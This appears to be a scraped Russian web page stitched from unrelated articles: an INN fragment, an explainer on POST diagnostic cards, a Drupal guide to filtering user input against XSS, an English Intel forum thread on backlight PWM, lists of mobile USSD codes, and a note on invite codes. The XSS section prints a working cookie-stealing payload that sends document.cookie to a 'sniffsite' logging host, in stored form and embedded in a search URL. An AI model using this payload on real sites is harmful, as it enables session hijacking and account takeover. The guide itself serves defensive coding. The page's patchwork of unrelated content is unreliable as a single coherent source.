Соответственно, идентификационный код — это крайне полезная вещь. Получить его рекомендуется всем гражданам. На данный момент при помощи ИНН можно без проблем зарегистрироваться на портале «Госуслуги». Этот сервис значительно облегчает получение государственных и муниципальных услуг.

POST карты — назначение и разновидности

POST карты не первое десятилетие используются для диагностики «железных» неисправностей компьютеров и материнских плат всевозможных форм-факторов. На данный момент этих карт создано очень много, практически для всех возможных ситуаций. Статья рассказывает о том, что такое POST карты и для чего их используют, как они работают, какие бывают и чем друг от друга отличаются.

После нажатия кнопки включения компьютера BIOS проводит поэтапную проверку и инициализацию всех элементов аппаратной части компьютера. Называется этот процесс: POST (англ. Power-On Self-Test – самотестирование после включения). Не только компьютеры, но и большинство современных электронных устройств имеют схожие системы.

BIOS сообщает статус (или результат) прохождения POST несколькими способами:

1. Вывод сообщений на экран. Самый дружественный и информативный способ. По сути, доступен только после успешного или почти успешного прохождения самотестирования. Отсутствие какой-либо информации на экране говорит о серьезных неисправностях базовых компонентов (материнская плата, процессор, память, видеоадаптер и т.д.). Диагностика ошибок возможна в основном только для периферийных устройств (накопители, клава и др.).

2. Звуковые сигналы. Наверное, все слышали короткий «биип» при включении компьютера – в большинстве BIOS это означает прохождение теста без ошибок и готовность к загрузке ОС. Другие варианты сигналов могут говорить об определенных проблемах с железом. Эти коды «азбуки Морзе» различаются у разных производителей и даже разных версий BIOS. Найти их обычно можно в книжке к материнке или соответствующих онлайн справочниках.

3. POST коды. В ходе каждого этапа процесса самотестирования BIOS отправляет текущий код на порт 80h (иногда 81h или другие), и если возникает ошибка, там остается или код операции, на которой произошел сбой, или код последней успешной операции. Считав этот код, можно определить на каком этапе произошла ошибка, и что могло ее вызвать. Это единственный из всех перечисленных способов, который позволяет идентифицировать проблемы на материнской плате, которая не подает видимых признаков жизни. По этой причине, он обычно используется для диагностики и ремонта непосредственно материнских плат.

Если первые два способа диагностики не требуют специального оборудования, разве что монитор и подключенный к материнской плате динамик (бывает, что его там нет), то для третьего способа вам понадобиться собственно POST карта.

Основная задача любой POST карты – это считать и отобразить текущий POST код. Считать его можно несколькими способами: по шинам ISA, PCI, LPC или через LPT порт. Есть и другие, более экзотические варианты (о них чуть позже). Кроме, собственно, отображения кода, хорошие POST карты имеют дополнительные диагностические возможности (индикаторы, режимы тестирования, встречаются даже со встроенным видеоадаптером).

Некоторые материнские платы (обычно Premium сегмента) имеют встроенный индикатор POST кодов.

Первыми POST картами были карты для шины ISA, существовавшей с 1981 по 199х годы. Используется она даже сейчас (хоть и весьма редко), в основном в промышленном и военном секторе – там, где осталось оборудование для этой шины.

Следующей массовой компьютерной шиной стала PCI. Сейчас это самая распространенная шина для настольных компьютеров. Естественно, для нее есть и POST карты всех возможных форм, размеров и функций. Самую простейшую, с обычным сегментным индикатором, можно купить за 2-3 бакса на любом Ebay, Ali и им подобным.

В принципе, такая карта со своей базовой задачей вполне справляется – POST код вы узнаете. Но для профессиональной работы этого мало. Полезно иметь индикаторы основных напряжений (обычно: +5, +3.3, +12, -12, +3.3 Standby) и индикаторы сигналов шины (из самых базовых: CLK, RST#, FRAME#, IRDY#). Важно иметь возможность переключения порта, на котором карта «слушает» коды POST (не только стандартный 80h). Бывают и другие «фишки», отсюда и такой «навороченный» вид у продвинутых карточек.

Еще один удобный вариант – это выносной индикатор. Он позволяет со всеми удобствами производить диагностику материнских плат, не вынимая их из системника. С одной стороны, если дело дошло до POST карты, то скорей всего материнку все же придется извлечь для ремонта, но с другой стороны – не всегда, да и POST карты просто удобный способ общей диагностики. На фото Sintech ST8679, китайская карточка с выносным многострочным LCD дисплеем.

Существуют POST карты для LPT порта – довольно простой и удобный способ диагностики для любого компьютера или ноутбука, имеющего этот самый LPT порт. Из-за технических особенностей, они не имеют возможностей, присущих картам для PCI, но это компенсируется простотой и доступностью. Требуют питание по USB (для этого и наличие порта на плате).

Однако LPT изживает свой век, и на современных компьютерах их уже почти не встретишь, соответственно, доживают свои дни и эти карты.

Служивший нам верой и правдой много лет PCI, постепенно вытесняет более современная PCI-Express. Немалое количество современных материнских плат вообще не имеют слота PCI (хотя и могут иметь саму шину). Но с PCI-E не все так просто. Во-первых, сама диагностика с помощью PCI-E на данный момент вещь мутная, хотя бы, из-за отсутствия адекватной информации. Во-вторых, с PCI-E все зависит от конкретного изготовителя – нет гарантии, что коды будут выводиться; если и выводятся, то нет гарантии, что по стандартному порту и в стандартном виде.

Одним из самых перспективных способов диагностики на сегодняшний день является USB. И главная тому причина – повсеместная распространенность этого интерфейса. Как мы уже выяснили, отсутствие того или иного разъема на материнской плате может стать преткновением для диагностики. И эту проблему как раз решает USB – парочку портов имеют буквально все компьютеры и ноутбуки, выпущенные за последние 15 лет.

Для такой диагностики необходимо наличие в системе USB Debug Port – это своего рода расширение USB, позволяющее передавать диагностическую информацию. В USB 3.0 реализация Debug Port получилась сподручней (подробней о Debug Port можно прочитать по ссылке). Кроме передачи POST кодов, Debug Port позволяет производить полноценную отладку кода BIOS и UEFI.

Было даже выпущено несколько устройств разными компаниями. NET20DC от Ajays (компания почти тут же обанкротилась, так как поставщики отказались поставлять им компоненты для сборки девайса). Insyde H2O DDT от Insyde Software (выпущен, вроде, в 2008 году, но информация об этом девайсе канула в лету даже на официальном сайте). Оба этих устройства скорее отладчики, хотя и имеют возможность захвата POST кодов.

С ноутбуками все немного сложней. Наиболее распространенные разъемы, которые можно использовать для диагностики – это mini PCI или Mini PCI-E (у более современных).

Опять же, есть вариант использования шины LPC. На материнских платах порта для подключения к этой шине вполне может не быть, поэтому придется напрямую подпаиваться к плате или контролеру.

Отдельные производители имеют свои способы диагностики, тут уж действительно «кто во что горазд». К сожалению, эта информация обычно является достоянием лишь производителя и его внутренних сервисных центров, поэтому все существующие варианты POST карт в общем доступе вряд ли найдутся.

Такое вот у POST карт интересное прошлое и насыщенное настоящее. Что их ждет в будущем? Поживем – увидим. Но реалии таковы, что в нынешнюю эпоху потребительства от девайсов зачастую избавляются раньше, чем они успевают сломаться. А если и ломаются, то оказываются в сервисных мастерских производителя, где уж явно должно быть подходящее диагностическое оборудование.

Безопасный код: Работа с пользовательским вводом

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак

Устойчивая атака

  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.

Вот вам простейший пример как именно происходит воровство куков и их использование.

  • На страницу вставляется код іmg=new Image();іmg.srс=»http://sniffsite/s.php?»+document.cookie; .
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).

И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака

  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости — Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное — кража секретной информации, либо куков.

Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом
«> .

Теперь, если в адресной строке написать site.ru/search.php?srch=»> іmg=new Image();іmg.srс=»http://snifsite/s.php» +document.cookie; , мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?

Ответ прост — фильтровать вывод на страницу.

Методы фильтрации в Друпале

Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Весь пользовательский ввод можно разделить на два типа:

Текст без разметки (plain text)

Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:

  • t(): В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
    • !variable — вставится без изменений
    • @variable — пройдет через check_plain() .
    • %variable — пройдет через theme(‘placeholder’) .

  • l(): Текст ссылки всегда проходит через check_plain() , кроме случаев, когда явно не выставлен ее параметр $html .

    Элементы меню и «хлебных крошек»: Заголовки автоматически фильтруются.

    theme(‘placeholder’, $variable): (в реализации по-умолчанию) входящие параметры фильтруется.

    Имена пользователей, выводимые через theme(‘username’) (в реализации по-умолчанию).

  • Параметры Form API #default_value и #options (только когда #type == ‘select’).

Есть места, в которых никогда не надо забывать о фильтрации:

  • Заголовки страниц, установленных через drupal_set_title() . Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как . Это не касается заголовка в теге , так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функции drupal_set_title() .
    Пример:
    drupal_set_title($node->title); // Опасно
    drupal_set_title(check_plain($node->title)); // Безопасно
  • Заголовки блоков, поданные через hook_block() . Та же причина, что и с заголовками страниц.

    Сообщения системного лога (watchdog).

    Пример:
    //Drupal 5:
    watchdog(‘content’, t(«Deleted !title», array(‘!title’ => $node->title))); // XSS
    watchdog(‘content’, t(«Deleted %title», array(‘%title’ => $node->title))); // или @

    //Drupal 6 (The message and variables are passed through t() by the watchdog function):
    watchdog(‘content’, «Deleted !title», array(‘!title’ => $node->title)); // XSS
    watchdog(‘content’, «Deleted %title», array(‘%title’ => $node->title)); // или @

    Параметры Form API #description и #title .

    Примеры:
    $form[‘bad’] = array(
    ‘#type’ => ‘textfield’,
    ‘#default_value’ => check_plain($u_supplied), // плохо: фильтруется дважды
    ‘#description’ => t(«Old data: !data», array(‘!data’ => $u_supplied)), // XSS
    );

    $form[‘good’] = array(
    ‘#type’ => ‘textfield’,
    ‘#default_value’ => $u_supplied,
    ‘#description’ => t(«Old data: @data», array(‘@data’ => $u_supplied)),
    );

    Параметры Form API #options когда #type равен checkboxes или radios .

    Примеры:
    $form[‘bad’] = array(
    ‘#type’ => ‘checkboxes’,
    ‘#options’ => array($u_supplied0, $u_supplied1),
    );

    $form[‘good’] = array(
    ‘#type’ => ‘checkboxes’,
    ‘#options’ => array(check_plain($u_supplied0), check_plain($u_supplied1)),
    );

    Параметры Form API #value, если #type равен markup (помните, что markup — это значение по-умолчанию для #type ).

    Примеры:
    $form[‘unsafe’] = array(‘#value’ => $user->name); //XSS
    $form[‘safe’] = array(‘#value’ => check_plain($user->name));
    // или
    $form[‘safe’] = array(‘#value’ => theme(‘username’, $user));

    Текст с разметкой

    Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).

    Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup() , должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup() . Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом.

    • Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа # в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().

    Пример:
    // Плохо
    l(t(‘Some link’), $path, array(‘query’ => $query, ‘fragment’ => $fragment)); // не фильтруются параметры и фрагмент
    l(t(‘Link’), urlencode($path), array(‘query’ => $query, ‘fragment’ => $fragment)); // основной путь ссылки не нужно фильтровать

    // Хорошо
    l(t(‘Link’), $path, array(‘query’ => urlencode($query), ‘fragment’ => urlencode($fragment)));

    Когда выводите урл на страницу, пропускайте его через check_url(), который вызывает не только check_plain() , но и проверку правильности протокола урла.

    -=Бонус=-

    Видео-доклад «Introduction Security» с прошедшего друпалкона:

    IntelPWMControl

    IntelPWMControl

    I use a laptop and he had problems with the screen (like most): screen «flickering» with decreasing brightness. Previously the program IntelPWMControl is very good work, but in the latest versions drivers she stopped working. » Microsoft Visual C++ Runtime Library Assertion Failed»

    Attachment Size
    Download 3a1f8af4d18d.png 34.64 KB
    • Log in to post comments

    This is NOT a bug of the framework, it appears only on the latest drivers, everything works on older
    How can I fix it?

    • Log in to post comments

    I do not think that this is a proper forum for your question. You can post your question on commercial forum.

    • Log in to post comments

    I’m glad someone else has posted this problem.

    This is not a question for commercial purposes. It is simply that we are users of laptops that use Intel Integrated Graphics that come with Intel Ivy Bridge series and newer CPUs and some manufacturers (such as Lenovo and Dell) use a relatively low frequency PWM to lower LED backlight brightness.

    Although it is not noticeable for some users, it is very noticeable to some of us of who do software development and are in front of the LCD for long periods of time.

    On some russian forums, there surfaced a utility called IntelPWMControl that used a COM API exposed through the CUI COM (ICUIPower) that allowed us to set the LED backlight PWM frequency. Setting it to 600 Hz really reduced eyestrain for extended use and made the experience much better.

    Sometime in 2014, the CUISDK COM server appears to have been replaced/removed with a .NET-based service (not sure) and the old COM API CLSID was no longer registered, so the utility stopped working.

    Without resorting to any sort of ugly hackery to try to reverse the new CUI Power API (if it even exists) to do this again, couldn’t Intel provide us with a way (even if unsupported) of exposing this functionality ?

    Запрос USSD — это что такое? USSD-запросы и коды

    Все современные люди пользуются услугами мобильной связи от разных операторов, а у каждого мобильного оператора есть перечень комбинаций, с помощью которых можно подключить те или иные услуги – это запрос USSD. Если вкратце, то подобные запросы содержат в себе цифры и символы, после ввода и отправки которых будет сделано какое-то действие. Каждый отвечает за отдельную функцию, и в данной статье будет представлено все о подобных комбинациях.

    Для чего нужны команды?

    Запрос USSD – это своего рода опция для клиентов мобильной связи, которая устанавливается вместе с SMS и является базовой услугой любого оператора. В переводе данная аббревиатура означает «дополнительная опция, которая не имеет структуры».

    Для наглядного примера стоит разобраться, как работает подобная комбинация:

    1. Клиент мобильной связи, например, желает проверить баланс мобильного телефона с использованием сервисного кода.
    2. На клавиатуре телефона сначала нажимается «*», а потом вводится нужное число, код которого отвечает за проверку баланса.
    3. После цифр вводится «#» и осуществляется звонок для отправки данных в сеть.
    4. Через несколько секунд сведения о балансе поступают на телефон в виде SMS или как интерактивное меню на экране гаджета.

    Кроме того, запрос USSD может не только позволить проверить состояние счета. С его помощью можно включить или отключить услуги, сделать переход на другой тариф, открыть меню оператора для получения информации по мобильной связи, а также провести массу других операций.

    Польза от комбинаций

    Запрос USSD очень удобно использовать, ведь с вводом коротких команд можно добиться быстрого получения информации, при этом нет необходимости звонить оператору или отправлять SMS. Кроме того, с использованием комбинаций можно получить интересующие данные в любое удобное время, на протяжении 24 часов в сутки.

    С использованием таких кодов можно контролировать свой мобильный телефон, номер. Клиенты сети могут отправлять запросы другим людям, чтобы те переслали деньги или просто перезвонили.

    Для более детального рассмотрения комбинаций следует указать данные по разным операторам России.

    Популярные комбинации МТС

    Самая первая и популярная команда от МТС — это *111#. Такая команда служит для открытия портала, в котором каждый пользователь сможет управлять тарифом и опциями. Если сложно запоминать другие команды, то нужно запомнить только эту. С ее помощью можно будет узнать все, что потребуется, и даже мобильный баланс. Запрос заменяет персональный кабинет на сайте и может использоваться в любом регионе и даже стране. USSD-запросы МТС не тарифицируются, что очень удобно.

    Если на телефоне в сообщениях и прочих частях документов есть символы, которые невозможно прочесть, то нужно ввести *111*6*1#. Ниже будут представлены самые популярные коды от оператора МТС России:

    1. Проверка счета проводится через набор комбинации *100#.
    2. Посмотреть, за что были сняты средства на протяжении 5 последних действий, можно по команде *145#.
    3. Быстро узнать номер мобильного можно по коду *111*10#.
    4. Для проверки активных платных опций используется *111*11#.
    5. Для проверки действующего тарифа применяется *111*12#.
    6. Узнать об остатке пакетных предложений можно по вводу *217#.
    7. Произвести пополнение баланса, используя для этого карту банка, можно через запрос *115#.

    Это лишь малое количество запросов, которые есть у оператора. Детально со всеми можно ознакомиться на сайте, а в данной статье описаны только самые распространенные и необходимые. Информация по запросам на тарифные планы будет предоставлена в описании к самому тарифу, который выбран абонентом.

    Команды «Велком»

    Через USSD-запрос от «Велком» абоненты могут управлять мобильной связью самостоятельно. Таким образом, для проверки сведений по балансу нужно набрать на клавиатуре телефона *100#. Если пользователю нужно поменять систему оплаты, то используется код *145#. Это основные коды для управления своими деньгами.

    Еще можно управлять тарифами. Для активации того или иного тарифного плана служит своя команда. Теперь предлагаем ознакомиться с другими методами управления планом. Для проверки активного тарифа нужно набрать *141*2*1#, а чтобы узнать мобильный номер, набирается *147#. В некоторых случаях в ответ на запрос будет приходить SMS, а в некоторых данные выводятся сразу на экран.

    Для получения сведений о мобильном интернете и других опциях используется комбинация *135#. После ввода будет открыто меню, в котором можно выбрать разные услуги и ознакомиться с ними, а также при необходимости совершить их активацию. Есть еще одно меню, что позволяет открыть справки и команды для других запросов, для этого пользователям нужно набрать комбинацию *141#. Как видно, USSD-запросы «Велком» очень похожи на команды МТС и работают аналогично.

    Команды «МегаФон»

    У оператора «МегаФон» тоже большой перечень комбинаций, с которыми абонентам следует ознакомиться. Увидеть все возможные коды можно на официальной странице, а ниже будут описаны только самые востребованные у пользователей:

    1. Для вызова меню, которое по функциональности может заменить личный кабинет, вводится *105#.
    2. Узнать информацию по счету можно через код *100#.
    3. Посмотреть свой номер получится через запрос *205#.
    4. Остатки пакетных предложений узнаются через комбинацию *558#.
    5. Для детализации сведений об используемом тарифе вводится *105*3#.
    6. Информация о бонусном балансе предоставляется по коду *115#.
    7. Очень удобно использовать сервис «Перезвони мне» если прописать на клавиатуре *144*номер мобильного телефона клиента#.
    8. Для пополнения баланса другому пользователю «МегаФон» применяется комбинация *143*номер#.
    9. Использовать сервис «Обещанный платеж» получится по вводу *106#.

    Это самые распространенные USSD-запросы «МегаФон», которые применяются чаще всего.

    Рано или поздно комбинации пригодятся каждому абоненту мобильной связи, поэтому лучше изучить самые главные из них, чтобы в нужный момент их можно было применить. Все команды от «МегаФон» полностью бесплатные, а клиенты могут использовать их в работе в любое удобное для себя время.

    Заключение

    Как видно, запросов очень много, и все они отвечают за отдельные услуги. Важно после ввода той или иной комбинации не забывать совершать звонок для отправки команды, в противном случае нужная информация не будет предоставлена.

    Что такое код инвайта, что это за код, и где его взять?

    Код инвайта (код приглашения) — это специальный набор символов для получения доступа (возможности регистрации) на определенном ресурсе, закрытом для широкой публики.

    Его надо указывать при регистрации.

    Данный код может выслать только уже действующий, зарегистрированный пользователь ресурса.

    При регистрации по коду приглашения вы почти всегда автоматически становитесь рефералом приглашающего.

    Доброго времени суток.

    Не всем знакомо это понятие, это выражение.

    Поэтому скажем, что код инвайта — это ничто иное, как «код приглашения», который нужен для доступа на какой — либо сайт/ресурс. Этот код могут вам прислать/выслать лишь участники определенного закрытого проекта/сайта/ресурса. Если вам прислали такой код, то указать его нужно будет по регистрации в специальном окошечке.

    Илон Маск рекомендует:  Borland delphi 4 0 для начинающих библиотеки типов
    Понравилась статья? Поделиться с друзьями:
    Кодинг, CSS и SQL